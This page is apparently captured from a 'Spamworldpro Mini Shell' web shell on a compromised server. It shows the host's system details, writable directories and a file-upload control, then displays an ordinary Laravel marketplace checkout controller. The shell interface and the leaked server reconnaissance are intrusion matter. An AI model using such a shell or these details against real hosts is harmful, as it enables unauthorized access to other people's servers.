Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Marketplace/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Marketplace/Http/Controllers/CheckoutController.php
<?php

namespace Corals\Modules\Marketplace\Http\Controllers;

use Corals\Foundation\Http\Controllers\BaseController;
use Corals\Modules\Marketplace\Traits\CheckoutControllerCommonFunctions;
use Illuminate\Http\Request;

class CheckoutController extends BaseController
{
    use CheckoutControllerCommonFunctions;

    public $urlPrefix = 'marketplace/';

    /**
     * CheckoutController constructor.
     */
    public function __construct()
    {
        $this->title = 'Marketplace::module.checkout.title';
        $this->title_singular = 'Marketplace::module.checkout.title_singular';
        $this->setViewSharedData(['urlPrefix' => $this->urlPrefix]);
        parent::__construct();
    }

    /**
     * @return mixed
     */

    public function index(Request $request)
    {
        $cart_items = \ShoppingCart::getAllInstanceItems();

        if (sizeof($cart_items) == 0) {
            return redirectTo('cart');
        }

        $enable_shipping = false;

        if (\Shipping::hasShippableItems($cart_items)) {
            $enable_shipping = true;
        }

        \ShoppingCart::get('default')->setAttribute('enable_shipping', $enable_shipping);

        \Assets::add(asset('assets/corals/plugins/smartwizard/css/smart_wizard.min.css'));
        \Assets::add(asset('assets/corals/plugins/smartwizard/css/smart_wizard_theme_arrows.css'));
        \Assets::add(asset('assets/corals/plugins/smartwizard/js/jquery.smartWizard.min.js'));

        $this->setViewSharedData(['title', 'Checkout']);

        $hasPaymentStep = $this->hasPaymentStep($request);

        return view('Marketplace::checkout.checkout')->with(compact('enable_shipping', 'hasPaymentStep'));
    }

    public function showOrderSuccessPage()
    {
        $this->setViewSharedData(['title', 'Congratulations!']);
        return view('Marketplace::orders.order-success');
    }

    public function showOrderFailedPage()
    {
        $this->setViewSharedData(['title', 'Oops!']);

        return view('Marketplace::orders.order-failed');
    }

}

Spamworldpro Mini